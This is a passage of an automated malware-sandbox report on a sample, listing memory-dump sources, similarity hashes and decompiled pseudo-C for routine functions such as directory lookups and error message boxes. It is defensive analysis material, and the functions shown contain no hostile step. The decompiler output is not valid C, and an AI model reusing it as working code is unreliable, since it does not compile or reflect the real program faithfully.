                                                                                                                              0x7ff7da8ec10d
                                                                                                                              0x7ff7da8ec11b
                                                                                                                              0x7ff7da8ec12e
                                                                                                                              0x7ff7da8ec133
                                                                                                                              0x7ff7da8ec13d
                                                                                                                              0x7ff7da8ec146
                                                                                                                              0x7ff7da8ec14c
                                                                                                                              0x7ff7da8ec14e
                                                                                                                              0x7ff7da8ec163
                                                                                                                              0x7ff7da8ec16c
                                                                                                                              0x7ff7da8ec177
                                                                                                                              0x7ff7da8ec17f
                                                                                                                              0x7ff7da8ec186
                                                                                                                              0x7ff7da8ec18c
                                                                                                                              0x7ff7da8ec197
                                                                                                                              0x7ff7da8ec1c7

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ErrorFileLastWrite
                                                                                                                              • String ID: U
                                                                                                                              • API String ID: 442123175-4171548499
                                                                                                                              • Opcode ID: cbd666aba2bb15de6fc291f49156f042584acd825790bad85113b2b824c09ea5
                                                                                                                              • Instruction ID: 4a64c5f184a8f9623ee4b0edb0a20097f71479b71b624e632fb12c652ac54429
                                                                                                                              • Opcode Fuzzy Hash: cbd666aba2bb15de6fc291f49156f042584acd825790bad85113b2b824c09ea5
                                                                                                                              • Instruction Fuzzy Hash: C441D262B18A41C6EB21EF25E8443ADA7A0FB98794FD04032EE8D87789DF3DD551C750
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EE458 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 61%
                                                                                                                              			E00007FF77FF7DA8EE458(long long __rbx, long long __rsi, long long _a8, long long _a16) {
				void* _v8;
				signed int _v24;
				short _v550;
				signed int _v552;
				void* _t38;
				signed long long _t54;
				signed long long _t55;
				signed short* _t57;
				signed short* _t59;
				void* _t67;

				_a8 = __rbx;
				_a16 = __rsi;
				_t54 =  *0xda90d008; // 0xe3add53f52b8
				_t55 = _t54 ^ _t67 - 0x00000240;
				_v24 = _t55;
				_t59 =  &_v552;
				r8d = 0x20a;
				E00007FF77FF7DA8DC170();
				if (GetCurrentDirectoryW(??, ??) - 0x104 > 0) goto 0xda8ee4cc;
				if (_v552 == 0) goto 0xda8ee527;
				if (_v550 != 0x3a) goto 0xda8ee527;
				_t37 =  >  ? _v552 & 0x0000ffff : _t59 - 0x20;
				_t38 = ( >  ? _v552 & 0x0000ffff : _t59 - 0x20) - 0x40;
				goto 0xda8ee527;
				E00007FF77FF7DA8EDC90(_t59 - 0x61, _t59,  &_v552);
				_t57 = _t55;
				if (_t55 == 0) goto 0xda8ee4f4;
				if (GetCurrentDirectoryW(??, ??) != 0) goto 0xda8ee501;
				E00007FF77FF7DA8E4394(_t55);
				 *_t55 = 0xc;
				goto 0xda8ee51f;
				if ( *_t57 == 0) goto 0xda8ee51f;
				if (_t57[1] != 0x3a) goto 0xda8ee51f;
				_t41 =  >  ?  *_t57 & 0x0000ffff : _t59 - 0x20;
				_t42 = ( >  ?  *_t57 & 0x0000ffff : _t59 - 0x20) - 0x40;
				E00007FF77FF7DA8E9D68(_t55, _t57);
				_t26 = ( >  ?  *_t57 & 0x0000ffff : _t59 - 0x20) - 0x40;
				return E00007FF77FF7DA8DACF0(( >  ?  *_t57 & 0x0000ffff : _t59 - 0x20) - 0x40,  *_t57 & 0x0000ffff, _v24 ^ _t67 - 0x00000240);
			}













                                                                                                                              0x7ff7da8ee458
                                                                                                                              0x7ff7da8ee45d
                                                                                                                              0x7ff7da8ee46a
                                                                                                                              0x7ff7da8ee471
                                                                                                                              0x7ff7da8ee474
                                                                                                                              0x7ff7da8ee47e
                                                                                                                              0x7ff7da8ee483
                                                                                                                              0x7ff7da8ee489
                                                                                                                              0x7ff7da8ee4a3
                                                                                                                              0x7ff7da8ee4ac
                                                                                                                              0x7ff7da8ee4b4
                                                                                                                              0x7ff7da8ee4c4
                                                                                                                              0x7ff7da8ee4c7
                                                                                                                              0x7ff7da8ee4ca
                                                                                                                              0x7ff7da8ee4d6
                                                                                                                              0x7ff7da8ee4dd
                                                                                                                              0x7ff7da8ee4e3
                                                                                                                              0x7ff7da8ee4f2
                                                                                                                              0x7ff7da8ee4f4
                                                                                                                              0x7ff7da8ee4f9
                                                                                                                              0x7ff7da8ee4ff
                                                                                                                              0x7ff7da8ee504
                                                                                                                              0x7ff7da8ee50b
                                                                                                                              0x7ff7da8ee519
                                                                                                                              0x7ff7da8ee51c
                                                                                                                              0x7ff7da8ee522
                                                                                                                              0x7ff7da8ee527
                                                                                                                              0x7ff7da8ee54d

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: CurrentDirectory
                                                                                                                              • String ID: :
                                                                                                                              • API String ID: 1611563598-336475711
                                                                                                                              • Opcode ID: f2a9e9c1225eb9de7e3afc0d23570f78feabd40aa089f82e1c28c8a4464eb2f9
                                                                                                                              • Instruction ID: 82c9c78bf414f511082255021e3625f2f7503b3aea1454c6abb25101f09aa1ce
                                                                                                                              • Opcode Fuzzy Hash: f2a9e9c1225eb9de7e3afc0d23570f78feabd40aa089f82e1c28c8a4464eb2f9
                                                                                                                              • Instruction Fuzzy Hash: 5D21D262A08682C5FB21AB11D04426DB3B2FB98B44FC54076DE8D43286DF7DEA55C760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D2770 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 58%
                                                                                                                              			E00007FF77FF7DA8D2770(void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, char _a32, char _a1056, char _a3104, signed int _a5152, char _a5208) {
				void* __rbx;
				void* _t19;
				void* _t30;
				void* _t31;
				signed long long _t35;
				signed long long _t36;
				void* _t53;
				void* _t54;
				void* _t62;
				void* _t63;

				_t57 = __r8;
				_a8 = __rcx;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_t19 = E00007FF77FF7DA8DAD20(0x1448, __rax, _t62, _t63);
				_t55 = _t54 - __rax;
				_t35 =  *0xda90d008; // 0xe3add53f52b8
				_t36 = _t35 ^ _t54 - __rax;
				_a5152 = _t36;
				_t37 = __rcx;
				E00007FF77FF7DA8D1040(_t19);
				_a24 =  &_a5208;
				_a16 = 0;
				r8d = 0x400;
				E00007FF77FF7DA8E3B34(_t30, _t31,  *_t36 | 0x00000002,  &_a32, __r8, __rcx);
				r8d = 0x800;
				E00007FF77FF7DA8DC170();
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t36, __rcx,  &_a3104,  &_a32, _t53, __r8);
				if (_t36 == 0) goto 0xda8d2849;
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t36, _t37,  &_a1056, "Fatal error detected", _t53, _t57);
				r9d = 0x30;
				MessageBoxW(??, ??, ??, ??);
				goto 0xda8d2863;
				r9d = 0x30;
				return E00007FF77FF7DA8DACF0(MessageBoxA(??, ??, ??, ??), 0, _a5152 ^ _t55);
			}













                                                                                                                              0x7ff7da8d2770
                                                                                                                              0x7ff7da8d2770
                                                                                                                              0x7ff7da8d2775
                                                                                                                              0x7ff7da8d277a
                                                                                                                              0x7ff7da8d277f
                                                                                                                              0x7ff7da8d278b
                                                                                                                              0x7ff7da8d2790
                                                                                                                              0x7ff7da8d2793
                                                                                                                              0x7ff7da8d279a
                                                                                                                              0x7ff7da8d279d
                                                                                                                              0x7ff7da8d27a5
                                                                                                                              0x7ff7da8d27b0
                                                                                                                              0x7ff7da8d27b5
                                                                                                                              0x7ff7da8d27c2
                                                                                                                              0x7ff7da8d27cb
                                                                                                                              0x7ff7da8d27d8
                                                                                                                              0x7ff7da8d27e7
                                                                                                                              0x7ff7da8d27ed
                                                                                                                              0x7ff7da8d27f2
                                                                                                                              0x7ff7da8d2805
                                                                                                                              0x7ff7da8d280d
                                                                                                                              0x7ff7da8d280f
                                                                                                                              0x7ff7da8d2824
                                                                                                                              0x7ff7da8d2829
                                                                                                                              0x7ff7da8d2841
                                                                                                                              0x7ff7da8d2847
                                                                                                                              0x7ff7da8d2849
                                                                                                                              0x7ff7da8d287c

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message$ByteCharMultiWide
                                                                                                                              • String ID: Fatal error detected
                                                                                                                              • API String ID: 1878133881-4025702859
                                                                                                                              • Opcode ID: e64589603809c6563179afa31cc063d3115a20461626242b215755058f5ef0d7
                                                                                                                              • Instruction ID: 09c06761bb31815aa465a404052e0505d083b182c8e9e88779f6d44de5741495
                                                                                                                              • Opcode Fuzzy Hash: e64589603809c6563179afa31cc063d3115a20461626242b215755058f5ef0d7
                                                                                                                              • Instruction Fuzzy Hash: D421A47262868291FB21A711F4517EEE364FB84788FC44036EE8D47696DF3CD215C760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D2880 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 58%
                                                                                                                              			E00007FF77FF7DA8D2880(void* __rax, long long __rcx, long long __rdx, long long __r8, long long __r9, long long _a8, long long _a16, long long _a24, char _a32, char _a1056, char _a3104, signed int _a5152, char _a5208) {
				void* __rbx;
				void* _t19;
				void* _t30;
				void* _t31;
				signed long long _t35;
				signed long long _t36;
				void* _t53;
				void* _t54;
				void* _t62;
				void* _t63;

				_t57 = __r8;
				_a8 = __rcx;
				_a16 = __rdx;
				_a24 = __r8;
				_a32 = __r9;
				_t19 = E00007FF77FF7DA8DAD20(0x1448, __rax, _t62, _t63);
				_t55 = _t54 - __rax;
				_t35 =  *0xda90d008; // 0xe3add53f52b8
				_t36 = _t35 ^ _t54 - __rax;
				_a5152 = _t36;
				_t37 = __rcx;
				E00007FF77FF7DA8D1040(_t19);
				_a24 =  &_a5208;
				_a16 = 0;
				r8d = 0x400;
				E00007FF77FF7DA8E3B34(_t30, _t31,  *_t36 | 0x00000002,  &_a32, __r8, __rcx);
				r8d = 0x800;
				E00007FF77FF7DA8DC170();
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t36, __rcx,  &_a3104,  &_a32, _t53, __r8);
				if (_t36 == 0) goto 0xda8d2959;
				r8d = 0x400;
				E00007FF77FF7DA8D79A0(_t36, _t37,  &_a1056, "Error detected", _t53, _t57);
				r9d = 0x30;
				MessageBoxW(??, ??, ??, ??);
				goto 0xda8d2973;
				r9d = 0x30;
				return E00007FF77FF7DA8DACF0(MessageBoxA(??, ??, ??, ??), 0, _a5152 ^ _t55);
			}













                                                                                                                              0x7ff7da8d2880
                                                                                                                              0x7ff7da8d2880
                                                                                                                              0x7ff7da8d2885
                                                                                                                              0x7ff7da8d288a
                                                                                                                              0x7ff7da8d288f
                                                                                                                              0x7ff7da8d289b
                                                                                                                              0x7ff7da8d28a0
                                                                                                                              0x7ff7da8d28a3
                                                                                                                              0x7ff7da8d28aa
                                                                                                                              0x7ff7da8d28ad
                                                                                                                              0x7ff7da8d28b5
                                                                                                                              0x7ff7da8d28c0
                                                                                                                              0x7ff7da8d28c5
                                                                                                                              0x7ff7da8d28d2
                                                                                                                              0x7ff7da8d28db
                                                                                                                              0x7ff7da8d28e8
                                                                                                                              0x7ff7da8d28f7
                                                                                                                              0x7ff7da8d28fd
                                                                                                                              0x7ff7da8d2902
                                                                                                                              0x7ff7da8d2915
                                                                                                                              0x7ff7da8d291d
                                                                                                                              0x7ff7da8d291f
                                                                                                                              0x7ff7da8d2934
                                                                                                                              0x7ff7da8d2939
                                                                                                                              0x7ff7da8d2951
                                                                                                                              0x7ff7da8d2957
                                                                                                                              0x7ff7da8d2959
                                                                                                                              0x7ff7da8d298c

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Message$ByteCharMultiWide
                                                                                                                              • String ID: Error detected
                                                                                                                              • API String ID: 1878133881-3513342764
                                                                                                                              • Opcode ID: 68193cdc83b7fab7fc98566493fdd9e07c0501d384b8ccfc8adb870b89089dd9
                                                                                                                              • Instruction ID: 1ebf4ac4d87b07b52c239a12310cab0128f6839bec8762b467d66b1b1ca75ace
                                                                                                                              • Opcode Fuzzy Hash: 68193cdc83b7fab7fc98566493fdd9e07c0501d384b8ccfc8adb870b89089dd9
                                                                                                                              • Instruction Fuzzy Hash: 8821A47262868291FB21A710F4517EEE364FB84788FC44036EE8D57696DF3CD215C760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DEF00 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: ExceptionFileHeaderRaise
                                                                                                                              • String ID: csm
                                                                                                                              • API String ID: 2573137834-1018135373
                                                                                                                              • Opcode ID: bd59b9720ee897d7d1652bd34f9af743e796f0d4fc22b8e7cfc7830ab81a6d3f
                                                                                                                              • Instruction ID: 97dbde3b5d71cb860da9faffc84137b64a69edaef29c66b9854fe3e91e018ce8
                                                                                                                              • Opcode Fuzzy Hash: bd59b9720ee897d7d1652bd34f9af743e796f0d4fc22b8e7cfc7830ab81a6d3f
                                                                                                                              • Instruction Fuzzy Hash: 58114F32618B4182EB129F15E44026DB7A1FB98B94F9842B6EE8C07765DF3DD5618710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EEF5C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 36COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8EEF5C(void* __ecx) {
				signed int _v16;
				signed long long _t11;
				signed long long _t12;
				signed long long _t15;

				_t8 = __ecx;
				_t11 =  *0xda90d008; // 0xe3add53f52b8
				_t12 = _t11 ^ _t15;
				_v16 = _t12;
				if (__ecx - 0x1a <= 0) goto 0xda8eefa6;
				E00007FF77FF7DA8E4374(_t12);
				 *_t12 = 0xf;
				E00007FF77FF7DA8E4394(_t12);
				 *_t12 = 0xd;
				E00007FF77FF7DA8E9D00();
				return E00007FF77FF7DA8DACF0(0, _t8, _v16 ^ _t15);
			}







                                                                                                                              0x7ff7da8eef5c
                                                                                                                              0x7ff7da8eef62
                                                                                                                              0x7ff7da8eef69
                                                                                                                              0x7ff7da8eef6c
                                                                                                                              0x7ff7da8eef74
                                                                                                                              0x7ff7da8eef76
                                                                                                                              0x7ff7da8eef7b
                                                                                                                              0x7ff7da8eef81
                                                                                                                              0x7ff7da8eef86
                                                                                                                              0x7ff7da8eef8c
                                                                                                                              0x7ff7da8eefa5

                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.330832121.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.330809729.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330933416.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA910000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.330972663.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331020191.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: DriveType_invalid_parameter_noinfo
                                                                                                                              • String ID: :
                                                                                                                              • API String ID: 2595371189-336475711
                                                                                                                              • Opcode ID: 4b6db1c40c9d890671ff636fdf246fe8f5bd585064f0dc2380975813143fd2c7
                                                                                                                              • Instruction ID: 56764db0fb45533eeef615550688b1813be8c187163606c3d8f6a03f65e012c8
                                                                                                                              • Opcode Fuzzy Hash: 4b6db1c40c9d890671ff636fdf246fe8f5bd585064f0dc2380975813143fd2c7
                                                                                                                              • Instruction Fuzzy Hash: 6D01B121A18202C6FB22BB60945127EE7A0FF64704FC400B7DD4C86292DE3EE664C624
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD744F7C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 31COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: String$Err_FromUnicode_
                                                                                                                              • String ID: no such name
                                                                                                                              • API String ID: 3678473424-4211486178
                                                                                                                              • Opcode ID: 208cd209768e337a8722fdb4b9417dca1348e3f14576b62c638d7b51e3622af1
                                                                                                                              • Instruction ID: 87b1ec518e31440e291d07923f1a2848e37d66d2363c8662dda0649ba09af64c
                                                                                                                              • Opcode Fuzzy Hash: 208cd209768e337a8722fdb4b9417dca1348e3f14576b62c638d7b51e3622af1
                                                                                                                              • Instruction Fuzzy Hash: 9C016775A18D5AC1FB628B12E8207F9A350BF99B46F440433D96E4A7D8FF2CD115C6B0
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFD742640 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • _PyObject_GC_New.PYTHON310(?,?,00000000,00007FFCFD7425C3), ref: 00007FFCFD742646
                                                                                                                              • PyObject_GC_Track.PYTHON310(?,?,00000000,00007FFCFD7425C3), ref: 00007FFCFD742678
                                                                                                                              Strings
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331105965.00007FFCFD741000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFCFD740000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331093235.00007FFCFD740000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD746000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7A4000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F0000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD7F3000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331244968.00007FFCFD84C000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331709311.00007FFCFD84F000.00000004.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331736095.00007FFCFD851000.00000002.00000001.01000000.00000014.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_1_2_7ffcfd740000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: Object_$Track
                                                                                                                              • String ID: 3.2.0
                                                                                                                              • API String ID: 16854473-1786766648
                                                                                                                              • Opcode ID: 67925079c3bde44a90e15dbc745b9b94f72a09cbeef2eb16501d19ce5629974f
                                                                                                                              • Instruction ID: a9f204e6daa981a95452223c0a18563e8fdeb076c7bc3d9fed35e2a59cc1f476
                                                                                                                              • Opcode Fuzzy Hash: 67925079c3bde44a90e15dbc745b9b94f72a09cbeef2eb16501d19ce5629974f
                                                                                                                              • Instruction Fuzzy Hash: 08E0ED65E06F2AD1EB168B11A4600A9B2A4BF0AB56B440136CD6D0A398FF3DE164C2B1
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FFCFDA9B080 Relevance: 5.2, APIs: 4, Instructions: 239COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              APIs
                                                                                                                              • memchr.VCRUNTIME140(00007FFCFDA9AFEB,00000000,?,00000000,00007FFCFDA9A289), ref: 00007FFCFDA9B1BB
                                                                                                                              • memchr.VCRUNTIME140(00007FFCFDA9AFEB,00000000,?,00000000,00007FFCFDA9A289), ref: 00007FFCFDA9B203
                                                                                                                              • memchr.VCRUNTIME140(00007FFCFDA9AFEB,00000000,?,00000000,00007FFCFDA9A289), ref: 00007FFCFDA9B21D
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000001.00000002.331776617.00007FFCFD8FD000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFCFD860000, based on PE: true
                                                                                                                              • Associated: 00000001.00000002.331752717.00007FFCFD860000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD861000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD86D000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8C5000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8D9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFD8E9000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.331776617.00007FFCFDAAC000.00000020.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAAE000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDAD9000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB0A000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB30000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.332690726.00007FFCFDB56000.00000002.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333064516.00007FFCFDB7E000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333088610.00007FFCFDB84000.00000004.00000001.01000000.0000000E.sdmpDownload File
                                                                                                                              • Associated: 00000001.00000002.333101050.00007FFCFDB86000.00000002.00000001.01000000.0000000E.sdmpDownload File
